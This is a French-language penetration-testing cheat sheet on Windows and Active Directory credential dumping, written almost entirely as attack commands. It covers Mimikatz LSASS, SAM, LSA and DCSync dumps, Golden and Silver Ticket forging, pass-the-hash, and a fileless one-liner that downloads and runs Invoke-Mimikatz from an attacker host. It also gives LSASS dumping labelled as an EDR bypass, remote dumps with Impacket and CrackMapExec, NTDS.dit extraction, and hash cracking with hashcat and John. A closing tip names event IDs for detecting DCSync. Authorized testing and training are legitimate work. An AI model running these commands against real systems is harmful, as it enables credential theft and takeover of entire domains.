---
title: "Credential Dumping"
domain: security
subdomain: pentest
phase: 05-post-exploitation
type: snippet
tags: [credentials, mimikatz, secretsdump, LSASS, NTDS, SAM, pentest, post-exploitation]
difficulty: advanced
status: stable
updated: "2025-05-13"
---
## Mimikatz

```powershell
# Lancer (nécessite admin local / SYSTEM)
mimikatz.exe

# Élever les privilèges de debug
privilege::debug

# Dump LSASS — credentials en clair + NTLM hashes
sekurlsa::logonpasswords

# Dump uniquement les hashes NTLM
sekurlsa::msv

# Tickets Kerberos en mémoire
sekurlsa::tickets /export

# Dump SAM (hash des comptes locaux)
lsadump::sam

# Dump LSA secrets (mots de passe services, DPAPI, etc.)
lsadump::secrets

# DCSync — extraire les hashes du DC sans y toucher physiquement
lsadump::dcsync /domain:{{TARGET_DOMAIN}} /all /csv
lsadump::dcsync /domain:{{TARGET_DOMAIN}} /user:krbtgt  # NTLM de krbtgt
lsadump::dcsync /domain:{{TARGET_DOMAIN}} /user:Administrator

# Golden Ticket
kerberos::golden /user:Administrator /domain:{{TARGET_DOMAIN}} /sid:{{DOMAIN_SID}} /krbtgt:{{KRBTGT_HASH}} /ptt

# Silver Ticket
kerberos::golden /user:Administrator /domain:{{TARGET_DOMAIN}} /sid:{{DOMAIN_SID}} /target:{{TARGET}} /service:cifs /rc4:{{MACHINE_HASH}} /ptt

# Pass-the-Hash avec Mimikatz
sekurlsa::pth /user:Administrator /ntlm:{{NTLM_HASH}} /domain:{{TARGET_DOMAIN}}
```

### One-liner depuis PowerShell (sans fichier sur disque)

```powershell
# Invoke-Mimikatz via IEX
IEX (New-Object Net.WebClient).DownloadString('http://{{LHOST}}/Invoke-Mimikatz.ps1')
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonpasswords"'
Invoke-Mimikatz -DumpCreds
```

## Dump LSASS via procédés alternatifs

```powershell
# Task Manager — GUI, si accès RDP
# Clic droit sur lsass.exe → Create dump file

# ProcDump (signé Microsoft)
procdump.exe -accepteula -ma lsass.exe lsass.dmp

# Comsvcs.dll (natif Windows)
$lsassPid = (Get-Process lsass).Id
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump $lsassPid C:\lsass.dmp full

# nanodump (EDR bypass)
nanodump.exe --write C:\lsass.dmp

# Analyse offline avec Mimikatz
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords
```

## Impacket — Depuis Linux

```bash
# secretsdump — dump à distance (admin requis)
secretsdump.py {{TARGET_DOMAIN}}/{{USER}}:{{PASSWORD}}@{{TARGET_IP}}
secretsdump.py {{TARGET_DOMAIN}}/{{USER}}@{{TARGET_IP}} -hashes :{{NTLM_HASH}}

# DCSync complet depuis Linux
secretsdump.py {{TARGET_DOMAIN}}/{{USER}}:{{PASSWORD}}@{{TARGET_IP}} -just-dc
secretsdump.py {{TARGET_DOMAIN}}/{{USER}}:{{PASSWORD}}@{{TARGET_IP}} -just-dc-ntlm

# Dump SAM et LSA locaux depuis Linux
secretsdump.py -sam SAM -system SYSTEM LOCAL
secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL
```

## Dump NTDS.dit (base AD)

```powershell
# Méthode VSS (Volume Shadow Copy)
vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit C:\ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\SYSTEM
reg save HKLM\SYSTEM C:\SYSTEM   # alternative

# Ntdsutil (natif)
ntdsutil "activate instance ntds" "ifm" "create full C:\ntds_dump" quit quit

# Analyser offline
secretsdump.py -ntds C:\ntds.dit -system C:\SYSTEM LOCAL
```

## CrackMapExec — Dump à distance

```bash
# SAM (admins locaux)
crackmapexec smb {{TARGET_IP}} -u {{USER}} -p {{PASSWORD}} --sam

# LSA secrets
crackmapexec smb {{TARGET_IP}} -u {{USER}} -p {{PASSWORD}} --lsa

# NTDS (DC seulement)
crackmapexec smb {{TARGET_IP}} -u {{USER}} -p {{PASSWORD}} --ntds

# NTDS avec méthode VSS
crackmapexec smb {{TARGET_IP}} -u {{USER}} -p {{PASSWORD}} --ntds vss
```

## Cracker les hashes

```bash
# Hashcat — NTLM (mode 1000)
hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt
hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt -r rules/best64.rule

# Hashcat — NTLMv2 Net-NTLM (mode 5600)
hashcat -m 5600 netntlmv2.txt /usr/share/wordlists/rockyou.txt

# John the Ripper — NTLM
john --format=NT hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt

# Crack Kerberoast TGS (mode 13100)
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt

# Crack AS-REP (mode 18200)
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt
```

<Tip>
Le DCSync (nécessite `DS-Replication-Get-Changes-All`) est l'attaque la plus silencieuse — pas de connexion au DC, simulation d'un contrôleur de domaine secondaire. Surveiller les événements 4662 et 4928 sur le DC pour sa détection.
</Tip>
